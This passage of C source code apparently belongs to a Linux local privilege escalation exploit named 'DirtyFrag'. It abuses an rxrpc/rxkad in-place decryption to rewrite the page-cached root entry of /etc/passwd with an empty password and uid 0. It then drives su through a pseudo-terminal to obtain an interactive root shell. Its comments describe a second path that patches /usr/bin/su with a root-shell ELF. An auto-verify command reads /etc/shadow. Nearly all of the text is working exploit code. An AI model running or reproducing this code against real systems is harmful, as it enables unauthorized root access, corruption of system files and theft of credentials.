  1119.  *   Combined line: "test:x:0:G:GGGGGGGGGG:/home/test:/bin/bash"
  1120.  *                   pos 0    8    21       32
  1121.  *
  1122.  *   pw_uid=0, pw_gid=G, pw_dir="/home/test", pw_shell="/bin/bash".
  1123.  *   Now `su -s /bin/bash test` proceeds through the restricted_shell()
  1124.  *   check (because /bin/bash IS in /etc/shells) and exec()s /bin/bash
  1125.  *   under uid=0.
  1126.  *
  1127.  * === 3-splice predicates ===
  1128.  *
  1129.  * After applying splices A, B, C in order to /etc/passwd line 1
  1130.  * (offsets 4, 6, 8 — each 8 bytes, last-write-wins), the final state
  1131.  * of chars 4..15 is determined by these P bytes:
  1132.  *
  1133.  *   char 4  = P_A[0]   want: ':'
  1134.  *   char 5  = P_A[1]   want: ':'
  1135.  *   char 6  = P_B[0]   want: '0'   (overwrites P_A[2])
  1136.  *   char 7  = P_B[1]   want: ':'   (overwrites P_A[3])
  1137.  *   char 8  = P_C[0]   want: '0'   (overwrites P_A[4]/P_B[2])
  1138.  *   char 9  = P_C[1]   want: ':'   (overwrites P_A[5]/P_B[3])
  1139.  *   char 10..14 = P_C[2..6]  want: any byte except ':' '\0' '\n'
  1140.  *   char 15 = P_C[7]   want: ':'
  1141.  *
  1142.  * The constraints on P_A[2..7] and P_B[2..7] are vacuous because they
  1143.  * are overwritten before /etc/passwd is read by anyone — we only care
  1144.  * about the final state. */
  1145. static inline int fc_check_pa_nullok(const uint8_t P[8])
  1146. {
  1147.     return P[0] == ':' && P[1] == ':';
  1148. }
  1149.  
  1150. static inline int fc_check_pb_nullok(const uint8_t P[8])
  1151. {
  1152.     return P[0] == '0' && P[1] == ':';
  1153. }
  1154.  
  1155. static inline int fc_check_pc_nullok(const uint8_t P[8])
  1156. {
  1157.     if (P[0] != '0') return 0;
  1158.     if (P[1] != ':') return 0;
  1159.     if (P[7] != ':') return 0;
  1160.     for (int i = 2; i < 7; i++) {
  1161.         if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return 0;
  1162.     }
  1163.     return 1;
  1164. }
  1165.  
  1166. static uint64_t fc_splitmix64(uint64_t *s)
  1167. {
  1168.     uint64_t z = (*s += 0x9E3779B97F4A7C15ULL);
  1169.     z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL;
  1170.     z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL;
  1171.     return z ^ (z >> 31);
  1172. }
  1173.  
  1174. /* Generic brute-force.  `predicate` decides if a P is acceptable. */
  1175. typedef int (*pcheck_fn)(const uint8_t P[8]);
  1176.  
  1177. static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters,
  1178.         pcheck_fn check,
  1179.         uint8_t K_out[8], uint8_t P_out[8],
  1180.         uint64_t seed_init,
  1181.         const char *label)
  1182. {
  1183.     fcrypt_uctx ctx;
  1184.     uint8_t K[8], P[8];
  1185.     uint64_t seed = seed_init;
  1186.     struct timespec ts0, ts1;
  1187.     clock_gettime(CLOCK_MONOTONIC, &ts0);
  1188.  
  1189.     for (uint64_t iter = 0; iter < max_iters; iter++) {
  1190.         uint64_t r = fc_splitmix64(&seed);
  1191.         memcpy(K, &r, 8);
  1192.         fcrypt_user_setkey(&ctx, K);
  1193.         fcrypt_user_decrypt(&ctx, P, C);
  1194.  
  1195.         if (check(P)) {
  1196.             memcpy(K_out, K, 8);
  1197.             memcpy(P_out, P, 8);
  1198.             clock_gettime(CLOCK_MONOTONIC, &ts1);
  1199.             double dt = (ts1.tv_sec - ts0.tv_sec) +
  1200.                 (ts1.tv_nsec - ts0.tv_nsec) / 1e9;
  1201.             LOG("%s found after %lu iters in %.2fs (%.2fM/s) K=%02x%02x%02x%02x%02x%02x%02x%02x  P=%02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
  1202.                     label,
  1203.                     (unsigned long)iter, dt, iter / dt / 1e6,
  1204.                     K[0],K[1],K[2],K[3],K[4],K[5],K[6],K[7],
  1205.                     P[0],P[1],P[2],P[3],P[4],P[5],P[6],P[7],
  1206.                     (P[0]>=32&&P[0]<127)?P[0]:'.',
  1207.                     (P[1]>=32&&P[1]<127)?P[1]:'.',
  1208.                     (P[2]>=32&&P[2]<127)?P[2]:'.',
  1209.                     (P[3]>=32&&P[3]<127)?P[3]:'.',
  1210.                     (P[4]>=32&&P[4]<127)?P[4]:'.',
  1211.                     (P[5]>=32&&P[5]<127)?P[5]:'.',
  1212.                     (P[6]>=32&&P[6]<127)?P[6]:'.',
  1213.                     (P[7]>=32&&P[7]<127)?P[7]:'.');
  1214.             return 0;
  1215.         }
  1216.  
  1217.         if ((iter & 0x3ffffff) == 0 && iter > 0) {
  1218.             clock_gettime(CLOCK_MONOTONIC, &ts1);
  1219.             double dt = (ts1.tv_sec - ts0.tv_sec) +
  1220.                 (ts1.tv_nsec - ts0.tv_nsec) / 1e9;
  1221.             fprintf(stderr, "  [%s %.1fs] iter=%lu (%.2fM/s)\n",
  1222.                     label, dt, (unsigned long)iter, iter / dt / 1e6);
  1223.         }
  1224.     }
  1225.     return -1;
  1226. }
  1227.  
  1228.  
  1229. int rxrpc_lpe_main(int argc, char **argv)
  1230. {
  1231.     fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n");
  1232.     fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n",
  1233.             getuid(), geteuid(), getgid());
  1234.  
  1235.     {
  1236.         const char *no_unshare = getenv("POC_NO_UNSHARE");
  1237.         if (!no_unshare || *no_unshare != '1') {
  1238.             const char *do_unshare = getenv("POC_UNSHARE");
  1239.             if (do_unshare && *do_unshare == '1') {
  1240.                 if (do_unshare_userns_netns() < 0) return 1;
  1241.             }
  1242.         }
  1243.     }
  1244.  
  1245.     /* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module.
  1246.      * Without this, the first add_key("rxrpc", ...) call fails with ENODEV
  1247.      * because the kernel key type "rxrpc" is registered by rxrpc_init() in
  1248.      * the module load path. */
  1249.     {
  1250.         int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
  1251.         if (dummy < 0) {
  1252.             WARN("socket(AF_RXRPC): %s — module not loadable?", strerror(errno));
  1253.             return 1;
  1254.         }
  1255.         close(dummy);
  1256.         LOG("rxrpc module autoloaded via dummy socket(AF_RXRPC)");
  1257.     }
  1258.  
  1259.     /* Open /etc/passwd RO and mmap the first page (which contains the
  1260.      * root entry on line 1). */
  1261.     const char *target_path = getenv("POC_TARGET_FILE");
  1262.     if (!target_path || !*target_path) target_path = "/etc/passwd";
  1263.  
  1264.     int rfd_ro = open(target_path, O_RDONLY);
  1265.     if (rfd_ro < 0) {
  1266.         WARN("open %s RO: %s", target_path, strerror(errno));
  1267.         return 1;
  1268.     }
  1269.     struct stat st;
  1270.     fstat(rfd_ro, &st);
  1271.     if (st.st_size < 32) { WARN("target too small: %lld", (long long)st.st_size); return 1; }
  1272.     LOG("target %s opened RO, size=%lld, uid=%u gid=%u mode=%04o",
  1273.             target_path, (long long)st.st_size, st.st_uid, st.st_gid,
  1274.             st.st_mode & 07777);
  1275.  
  1276.     /* mmap first page so the page-cache page stays pinned. */
  1277.     void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd_ro, 0);
  1278.     if (map == MAP_FAILED) { WARN("mmap: %s", strerror(errno)); return 1; }
  1279.     LOG("mmap'd %s page-cache at %p (PROT_READ|MAP_SHARED)", target_path, map);
  1280.  
  1281.     /* If a previous attempt already left the root entry in the patched
  1282.      * "root::0:0:..." form, treat as success and skip the brute-force /
  1283.      * trigger stages.  Otherwise proceed regardless of current state —
  1284.      * the brute-force re-derives K_A/K_B/K_C from whatever bytes are
  1285.      * currently at offsets 4/6/8 of the page-cache page, so it works
  1286.      * even on the corrupt residue from a previous failed run. */
  1287.     {
  1288.         const char *m = (const char *)map;
  1289.         if (memcmp(m, "root::0:0", 9) == 0) {
  1290.             LOG("/etc/passwd already patched (root::0:0...) — nothing to do");
  1291.             return 0;
  1292.         }
  1293.         LOG("/etc/passwd line 1 first 16 bytes:");
  1294.         for (int i = 0; i < 16; i++)
  1295.             fprintf(stderr, "%02x ", (uint8_t)m[i]);
  1296.         fprintf(stderr, "\n");
  1297.     }
  1298.     fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '");
  1299.     for (int i = 0; i < 32; i++) {
  1300.         char c = ((const char *)map)[i];
  1301.         fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
  1302.     }
  1303.     fprintf(stderr, "'\n");
  1304.  
  1305.     /* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE ===
  1306.      *
  1307.      * Read THREE 8-byte ciphertexts at file offsets 4, 6, 8.  Search
  1308.      * independently for K_A (chars 4-5 = "::"), K_B (chars 6-7 = "0:"),
  1309.      * K_C (chars 8-15 = "0:GGGGGG:" with G non-control).  All searches
  1310.      * are user-space only — no kernel/VM interaction.
  1311.      *
  1312.      * Last-write-wins ordering: trigger A first (covers 4..11), then B
  1313.      * (covers 6..13 — overrides A's 6..11), then C (covers 8..15 —
  1314.      * overrides A's 8..11 and B's 8..13).  Final state of chars 4..15:
  1315.      *   chars 4..5  = P_A[0..1]
  1316.      *   chars 6..7  = P_B[0..1]
  1317.      *   chars 8..15 = P_C[0..7]
  1318.      * =================================================================*/
  1319.     uint8_t Ca[8], Cb[8], Cc[8];
  1320.     int off_a = 4, off_b = 6, off_c = 8;
  1321.     if (pread(rfd_ro, Ca, 8, off_a) != 8) { WARN("pread Ca: %s", strerror(errno)); return 1; }
  1322.     if (pread(rfd_ro, Cb, 8, off_b) != 8) { WARN("pread Cb: %s", strerror(errno)); return 1; }
  1323.     if (pread(rfd_ro, Cc, 8, off_c) != 8) { WARN("pread Cc: %s", strerror(errno)); return 1; }
  1324.  
  1325.     LOG("Ca @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
  1326.             off_a, Ca[0],Ca[1],Ca[2],Ca[3],Ca[4],Ca[5],Ca[6],Ca[7],
  1327.             (Ca[0]>=32&&Ca[0]<127)?Ca[0]:'.', (Ca[1]>=32&&Ca[1]<127)?Ca[1]:'.',
  1328.             (Ca[2]>=32&&Ca[2]<127)?Ca[2]:'.', (Ca[3]>=32&&Ca[3]<127)?Ca[3]:'.',
  1329.             (Ca[4]>=32&&Ca[4]<127)?Ca[4]:'.', (Ca[5]>=32&&Ca[5]<127)?Ca[5]:'.',
  1330.             (Ca[6]>=32&&Ca[6]<127)?Ca[6]:'.', (Ca[7]>=32&&Ca[7]<127)?Ca[7]:'.');
  1331.     LOG("Cb @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
  1332.             off_b, Cb[0],Cb[1],Cb[2],Cb[3],Cb[4],Cb[5],Cb[6],Cb[7],
  1333.             (Cb[0]>=32&&Cb[0]<127)?Cb[0]:'.', (Cb[1]>=32&&Cb[1]<127)?Cb[1]:'.',
  1334.             (Cb[2]>=32&&Cb[2]<127)?Cb[2]:'.', (Cb[3]>=32&&Cb[3]<127)?Cb[3]:'.',
  1335.             (Cb[4]>=32&&Cb[4]<127)?Cb[4]:'.', (Cb[5]>=32&&Cb[5]<127)?Cb[5]:'.',
  1336.             (Cb[6]>=32&&Cb[6]<127)?Cb[6]:'.', (Cb[7]>=32&&Cb[7]<127)?Cb[7]:'.');
  1337.     LOG("Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
  1338.             off_c, Cc[0],Cc[1],Cc[2],Cc[3],Cc[4],Cc[5],Cc[6],Cc[7],
  1339.             (Cc[0]>=32&&Cc[0]<127)?Cc[0]:'.', (Cc[1]>=32&&Cc[1]<127)?Cc[1]:'.',
  1340.             (Cc[2]>=32&&Cc[2]<127)?Cc[2]:'.', (Cc[3]>=32&&Cc[3]<127)?Cc[3]:'.',
  1341.             (Cc[4]>=32&&Cc[4]<127)?Cc[4]:'.', (Cc[5]>=32&&Cc[5]<127)?Cc[5]:'.',
  1342.             (Cc[6]>=32&&Cc[6]<127)?Cc[6]:'.', (Cc[7]>=32&&Cc[7]<127)?Cc[7]:'.');
  1343.  
  1344.     fcrypt_init_sboxes();
  1345.     /* selftest */
  1346.     {
  1347.         fcrypt_uctx ctx;
  1348.         uint8_t z[8] = {0};
  1349.         uint8_t cv[8] = { 0x0E, 0x09, 0x00, 0xC7, 0x3E, 0xF7, 0xED, 0x41 };
  1350.         uint8_t pv[8];
  1351.         fcrypt_user_setkey(&ctx, z);
  1352.         fcrypt_user_decrypt(&ctx, pv, cv);
  1353.         if (memcmp(pv, z, 8) != 0) { WARN("fcrypt selftest FAILED"); return 1; }
  1354.     }
  1355.     LOG("fcrypt selftest OK");
  1356.  
  1357.     uint8_t Ka[8], Pa_out[8];
  1358.     uint8_t Kb[8], Pb_out[8];
  1359.     uint8_t Kc[8], Pc_out[8];
  1360.     uint8_t Cb_actual[8], Cc_actual[8];
  1361.  
  1362.     {
  1363.         uint64_t max_iters = 10000000000ULL;
  1364.         const char *e = getenv("LPE_MAX_ITERS");
  1365.         if (e) max_iters = strtoull(e, NULL, 0);
  1366.         uint64_t seed_base = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
  1367.         const char *se = getenv("LPE_SEED");
  1368.         if (se) seed_base = strtoull(se, NULL, 0);
  1369.  
  1370.         fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\")  prob ~1.5e-5 ===\n");
  1371.         if (find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok,
  1372.                     Ka, Pa_out, seed_base, "K_A") != 0) {
  1373.             WARN("K_A search exhausted"); return 2;
  1374.         }
  1375.  
  1376.         /* After splice A is applied, the ciphertext that splice B will
  1377.          * see at file offset 6 is NOT the original Cb — it's the bytes
  1378.          * that splice A wrote to file offsets 6..11 (= Pa[2..7]) plus
  1379.          * the original bytes 12..13 (= Cb[6..7]).  We must derive
  1380.          * Cb_actual and search K_B against it. */
  1381.         memcpy(Cb_actual, Pa_out + 2, 6);
  1382.         memcpy(Cb_actual + 6, Cb + 6, 2);
  1383.         LOG("Cb_actual (after splice A) = %02x%02x%02x%02x%02x%02x%02x%02x",
  1384.                 Cb_actual[0],Cb_actual[1],Cb_actual[2],Cb_actual[3],
  1385.                 Cb_actual[4],Cb_actual[5],Cb_actual[6],Cb_actual[7]);
  1386.  
  1387.         fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\")  prob ~1.5e-5 ===\n");
  1388.         if (find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok,
  1389.                     Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL,
  1390.                     "K_B") != 0) {
  1391.             WARN("K_B search exhausted"); return 2;
  1392.         }
  1393.  
  1394.         /* Same chaining logic for splice C: after splice B, file offsets
  1395.          * 8..13 hold Pb[2..7]; offsets 14..15 still hold the original
  1396.          * bytes Cc[6..7]. */
  1397.         memcpy(Cc_actual, Pb_out + 2, 6);
  1398.         memcpy(Cc_actual + 6, Cc + 6, 2);
  1399.         LOG("Cc_actual (after splice B) = %02x%02x%02x%02x%02x%02x%02x%02x",
  1400.                 Cc_actual[0],Cc_actual[1],Cc_actual[2],Cc_actual[3],
  1401.                 Cc_actual[4],Cc_actual[5],Cc_actual[6],Cc_actual[7]);
  1402.  
  1403.         fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\")  prob ~5.4e-8 ===\n");
  1404.         if (find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok,
  1405.                     Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL,
  1406.                     "K_C") != 0) {
  1407.             WARN("K_C search exhausted"); return 2;
  1408.         }
  1409.     }
  1410.  
  1411.     fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n    \"root");
  1412.     /* chars 4-5 from P_A */
  1413.     for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr);
  1414.     /* chars 6-7 from P_B */
  1415.     for (int i = 0; i < 2; i++) fputc((Pb_out[i]>=32&&Pb_out[i]<127)?Pb_out[i]:'.', stderr);
  1416.     /* chars 8-15 from P_C */
  1417.     for (int i = 0; i < 8; i++) fputc((Pc_out[i]>=32&&Pc_out[i]<127)?Pc_out[i]:'.', stderr);
  1418.     fprintf(stderr, "/root:/bin/bash\"\n");
  1419.  
  1420.     /* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) ===
  1421.      * Each trigger does a single in-place decrypt at the
  1422.      * indicated /etc/passwd file offset.  Last-write-wins on overlapping
  1423.      * bytes determines the final state.
  1424.      */
  1425.     fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a);
  1426.     memcpy(SESSION_KEY, Ka, 8);
  1427.     if (do_one_trigger(rfd_ro, off_a, 8) < 0) {
  1428.         WARN("kernel trigger A failed"); return 3;
  1429.     }
  1430.  
  1431.     fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b);
  1432.     memcpy(SESSION_KEY, Kb, 8);
  1433.     if (do_one_trigger(rfd_ro, off_b, 8) < 0) {
  1434.         WARN("kernel trigger B failed"); return 3;
  1435.     }
  1436.  
  1437.     fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c);
  1438.     memcpy(SESSION_KEY, Kc, 8);
  1439.     if (do_one_trigger(rfd_ro, off_c, 8) < 0) {
  1440.         WARN("kernel trigger C failed"); return 3;
  1441.     }
  1442.  
  1443.     /* Verify: re-read line 1 of /etc/passwd via mmap. */
  1444.     fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER:  '");
  1445.     for (int i = 0; i < 32; i++) {
  1446.         char c = ((const char *)map)[i];
  1447.         fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
  1448.     }
  1449.     fprintf(stderr, "'\n");
  1450.  
  1451.     /* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. */
  1452.     {
  1453.         const char *m = (const char *)map;
  1454.         int ok = (m[4] == ':' && m[5] == ':' &&
  1455.                 m[6] == '0' && m[7] == ':' &&
  1456.                 m[8] == '0' && m[9] == ':' &&
  1457.                 m[15] == ':');
  1458.         if (!ok) {
  1459.             WARN("post-trigger sanity check failed — char layout off");
  1460.             return 4;
  1461.         }
  1462.     }
  1463.     fprintf(stderr,
  1464.             "\n[!!!] HIT — root entry now has empty passwd field, uid=0, "
  1465.             "gid=0, dir=/root, shell=/bin/bash.\n");
  1466.  
  1467.     /* === STAGE 3 — VERIFY VIA getent passwd root === */
  1468.     fprintf(stderr,
  1469.             "\n=== STAGE 3: independent verify via `getent passwd root` ===\n");
  1470.     {
  1471.         int p[2];
  1472.         if (pipe(p) == 0) {
  1473.             pid_t pid = fork();
  1474.             if (pid == 0) {
  1475.                 close(p[0]);
  1476.                 dup2(p[1], 1);
  1477.                 dup2(p[1], 2);
  1478.                 close(p[1]);
  1479.                 execlp("getent", "getent", "passwd", "root", NULL);
  1480.                 _exit(127);
  1481.             }
  1482.             close(p[1]);
  1483.             char buf[1024];
  1484.             ssize_t r = read(p[0], buf, sizeof(buf) - 1);
  1485.             close(p[0]);
  1486.             int wstatus = 0;
  1487.             waitpid(pid, &wstatus, 0);
  1488.             if (r > 0) {
  1489.                 buf[r] = 0;
  1490.                 fprintf(stderr, "[getent passwd root] %s", buf);
  1491.             }
  1492.             fprintf(stderr,
  1493.                     "[+] PRIMITIVE proven: root entry has empty passwd field "
  1494.                     "via NSS.\n");
  1495.         }
  1496.     }
  1497.  
  1498.     /* Honour `--corrupt-only` arg or DIRTYFRAG_CORRUPT_ONLY=1 env so
  1499.      * the chain wrapper can skip the in-process su PTY stage and exec
  1500.      * /usr/bin/su itself.  Avoids the flaky posix_openpt bridge. */
  1501.     {
  1502.         int co_flag = 0;
  1503.         for (int i = 1; i < argc; i++)
  1504.             if (!strcmp(argv[i], "--corrupt-only")) { co_flag = 1; break; }
  1505.         const char *e = getenv("DIRTYFRAG_CORRUPT_ONLY");
  1506.         if (e && *e == '1') co_flag = 1;
  1507.         if (co_flag) return 0;
  1508.     }
  1509.  
  1510.     /* === STAGE 4 — `su` (target=root, no password input) ===
  1511.      * PAM common-auth contains "auth [success=2 default=ignore]
  1512.      * pam_unix.so nullok" — so a target user with empty passwd field
  1513.      * + nullok flag accepts an empty password.  We auto-inject a
  1514.      * single newline on the "Password:" prompt and then bridge the
  1515.      * resulting bash to the user's tty. */
  1516.     fprintf(stderr,
  1517.             "\n=== STAGE 4: spawning interactive root shell via `su` "
  1518.             "(no password input needed) ===\n\n");
  1519.     fflush(stderr);
  1520.  
  1521.     int master = posix_openpt(O_RDWR | O_NOCTTY);
  1522.     if (master < 0 || grantpt(master) < 0 || unlockpt(master) < 0) {
  1523.         WARN("posix_openpt: %s", strerror(errno));
  1524.         return 5;
  1525.     }
  1526.     char *slave_name = ptsname(master);
  1527.  
  1528.     struct winsize ws;
  1529.     if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) {
  1530.         ioctl(master, TIOCSWINSZ, &ws);
  1531.     }
  1532.  
  1533.     pid_t pid = fork();
  1534.     if (pid < 0) { WARN("fork: %s", strerror(errno)); return 5; }
  1535.     if (pid == 0) {
  1536.         /* child */
  1537.         setsid();
  1538.         int slave = open(slave_name, O_RDWR);
  1539.         if (slave < 0) _exit(127);
  1540.         ioctl(slave, TIOCSCTTY, 0);
  1541.         dup2(slave, 0); dup2(slave, 1); dup2(slave, 2);
  1542.         if (slave > 2) close(slave);
  1543.         close(master);
  1544.         /* `su` with no args targets root.  PAM common-auth's pam_unix.so
  1545.          * nullok accepts the empty passwd we planted in /etc/passwd. */
  1546.         execlp("su", "su", NULL);
  1547.         _exit(127);
  1548.     }
  1549.  
  1550.     /* parent: bridge user's tty <-> master. */
  1551.     struct termios saved_termios;
  1552.     int saved_termios_ok = (tcgetattr(STDIN_FILENO, &saved_termios) == 0);
  1553.     if (saved_termios_ok) {
  1554.         struct termios raw = saved_termios;
  1555.         cfmakeraw(&raw);
  1556.         tcsetattr(STDIN_FILENO, TCSANOW, &raw);
  1557.     }
  1558.  
  1559.     int auto_pw_sent = 0;
  1560.     int stdin_eof = 0;          /* set when stdin closes (e.g. /dev/null) */
  1561.     char buf[4096];
  1562.     /* If LPE_AUTO_VERIFY=1 is set, the bridge will inject
  1563.      * `id; whoami; exit\n` so it can prove uid=0 non-interactively
  1564.      * (e.g. when stdin is /dev/null in CI). */
  1565.     int auto_verify = 0;
  1566.     {
  1567.         const char *e = getenv("LPE_AUTO_VERIFY");
  1568.         if (e && *e == '1') auto_verify = 1;
  1569.     }
  1570.     int verify_sent = 0;
  1571.     int total_ms = 0;
  1572.     for (;;) {
  1573.         struct pollfd pfds[2] = {
  1574.             { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 },
  1575.             { master,       POLLIN, 0 },
  1576.         };
  1577.         int pr = poll(pfds, 2, 200);
  1578.         if (pr < 0 && errno != EINTR) break;
  1579.         total_ms += 200;
  1580.  
  1581.         if (pfds[1].revents & POLLIN) {
  1582.             ssize_t n = read(master, buf, sizeof(buf));
  1583.             if (n <= 0) break;
  1584.             (void)write(STDOUT_FILENO, buf, n);
  1585.             if (!auto_pw_sent && (size_t)n < sizeof(buf)) {
  1586.                 buf[n] = 0;
  1587.                 if (strstr(buf, "Password") || strstr(buf, "password")) {
  1588.                     /* Empty password — PAM nullok will accept it.
  1589.                      * (When pam_unix sees an empty passwd field plus
  1590.                      * nullok it skips the prompt entirely; this branch
  1591.                      * handles the case where some other PAM module
  1592.                      * prints a prompt anyway.) */
  1593.                     (void)write(master, "\n", 1);
  1594.                     auto_pw_sent = 1;
  1595.                 }
  1596.             }
  1597.         }
  1598.         if (!stdin_eof && (pfds[0].revents & POLLIN)) {
  1599.             ssize_t n = read(STDIN_FILENO, buf, sizeof(buf));
  1600.             if (n <= 0) {
  1601.                 /* stdin EOF — stop reading from it but keep bridging
  1602.                  * master → stdout so su can still finish auth and run
  1603.                  * the optional auto-verify command. */
  1604.                 stdin_eof = 1;
  1605.             } else {
  1606.                 (void)write(master, buf, n);
  1607.             }
  1608.         }
  1609.         if (pfds[1].revents & (POLLHUP | POLLERR)) break;
  1610.  
  1611.         /* Auto-verify: ~1 s after spawn, send `id; whoami; exit\n` so
  1612.          * the bridge captures uid=0 evidence non-interactively even
  1613.          * when pam_unix's blank-passwd path skips the prompt. */
  1614.         if (auto_verify && !verify_sent && total_ms >= 1000) {
  1615.             const char cmd[] = "id; whoami; cat /etc/shadow | head -2; exit\n";
  1616.             (void)write(master, cmd, sizeof(cmd) - 1);
  1617.             verify_sent = 1;
  1618.         }
  1619.  
  1620.         int status;
  1621.         pid_t w = waitpid(pid, &status, WNOHANG);
  1622.         if (w == pid) {
  1623.             for (int i = 0; i < 5; i++) {
  1624.                 struct pollfd pf = { master, POLLIN, 0 };
  1625.                 if (poll(&pf, 1, 50) <= 0) break;
  1626.                 ssize_t n = read(master, buf, sizeof(buf));
  1627.                 if (n <= 0) break;
  1628.                 (void)write(STDOUT_FILENO, buf, n);
  1629.             }
  1630.             break;
  1631.         }
  1632.     }
  1633.     if (saved_termios_ok) {
  1634.         tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios);
  1635.     }
  1636.     close(master);
  1637.     return 0;
  1638. }
  1639. /*
  1640.  * DirtyFrag chain — uid=1000 → root.
  1641.  *
  1642.  * 1. ESP path  (authencesn AF_ALG --corrupt-only): overwrites the first
  1643.  *    160 bytes of /usr/bin/su's page-cache with a static x86_64 root-
  1644.  *    shell ELF.  Works on every distro tested regardless of PAM nullok
  1645.  *    or /etc/passwd contents — once invoked, the patched setuid-root
  1646.  *    /usr/bin/su just execs /bin/sh as uid 0.
  1647.  *
  1648.  * 2. rxrpc path  (Ubuntu fallback): if AF_ALG is sandboxed and the ESP
  1649.  *    path can't reach the page cache, fall back to the rxrpc/rxkad
  1650.  *    nullok primitive that patches /etc/passwd's root entry empty.
  1651.  *    PAM nullok then accepts the empty password during `su -`.
  1652.  *
  1653.  * 3. Once either target is corrupted, spawn `/usr/bin/su -` inside a
  1654.  *    fresh PTY and bridge the user's tty to it.  The bridge handles
  1655.  *    both the patched-su (no PAM at all) and the patched-passwd (PAM
  1656.  *    nullok) cases uniformly, and works even when the caller is in a
  1657.  *    background process group of an ssh-allocated PTY.
  1658.  *
  1659.  */
  1660. #define _GNU_SOURCE
  1661. #include <stdio.h>
  1662. #include <stdlib.h>
  1663. #include <string.h>
  1664. #include <unistd.h>
  1665. #include <errno.h>
  1666. #include <fcntl.h>
  1667. #include <sched.h>
  1668. #include <poll.h>
  1669. #include <signal.h>
  1670. #include <termios.h>
  1671. #include <sys/ioctl.h>
  1672. #include <sys/wait.h>
  1673. #include <sys/types.h>
  1674. #include <stdint.h>
  1675.  
  1676. extern int su_lpe_main(int argc, char **argv);
  1677. extern int rxrpc_lpe_main(int argc, char **argv);
  1678.  
  1679. /*
  1680.  * The 8 bytes our su payload places at file offset 0x78 — the first
  1681.  * instructions of the embedded shell ELF.  Sequence:
  1682.  *   31 ff   xor edi, edi
  1683.  *   31 f6   xor esi, esi
  1684.  *   31 c0   xor eax, eax
  1685.  *   b0 6a   mov al, 0x6a   (setgid)
  1686.  * Distros' original /usr/bin/su has different bytes here, so this is
  1687.  * a reliable post-patch marker.
  1688.  *
  1689.  * (We don't check offset 0 because /usr/bin/su already has the ELF
  1690.  * magic there — both before and after we patch.)
  1691.  */
  1692. static const uint8_t su_marker[8] = {
  1693.     0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a,
  1694. };
  1695.  
  1696. static int su_already_patched(void)
  1697. {
  1698.     int fd = open("/usr/bin/su", O_RDONLY);
  1699.     if (fd < 0)
  1700.         return 0;
  1701.     uint8_t got[8];
  1702.     ssize_t n = pread(fd, got, sizeof(got), 0x78);
  1703.     close(fd);
  1704.     if (n != sizeof(got))
  1705.         return 0;
  1706.     return memcmp(got, su_marker, sizeof(su_marker)) == 0;
  1707. }
  1708.  
  1709. static int passwd_already_patched(void)
  1710. {
  1711.     int fd = open("/etc/passwd", O_RDONLY);
  1712.     if (fd < 0)
  1713.         return 0;
  1714.     char head[16];
  1715.     ssize_t n = pread(fd, head, sizeof(head), 0);
  1716.     close(fd);
  1717.     if (n < 9)
  1718.         return 0;
  1719.     return memcmp(head, "root::0:0", 9) == 0;
  1720. }
  1721.  
  1722. static int either_target_patched(void)
  1723. {
  1724.     return su_already_patched() || passwd_already_patched();
  1725. }
  1726.  
  1727. static void silence_stderr(int *saved_fd)
  1728. {
  1729.     *saved_fd = dup(STDERR_FILENO);
  1730.     int dn = open("/dev/null", O_WRONLY);
  1731.     if (dn >= 0) {
  1732.         dup2(dn, STDERR_FILENO);
  1733.         close(dn);
  1734.     }
  1735. }
  1736.  
  1737. static void restore_stderr(int saved_fd)
  1738. {
  1739.     if (saved_fd >= 0) {
  1740.         dup2(saved_fd, STDERR_FILENO);
  1741.         close(saved_fd);
  1742.     }
  1743. }
  1744.  
  1745. static char **append_corrupt_only(int argc, char **argv, int *new_argc)
  1746. {
  1747.     static char *flag = "--corrupt-only";
  1748.     static char *buf[64];
  1749.     int n = argc < 60 ? argc : 60;
  1750.     for (int i = 0; i < n; i++)
  1751.         buf[i] = argv[i];
  1752.     buf[n] = flag;
  1753.     buf[n + 1] = NULL;
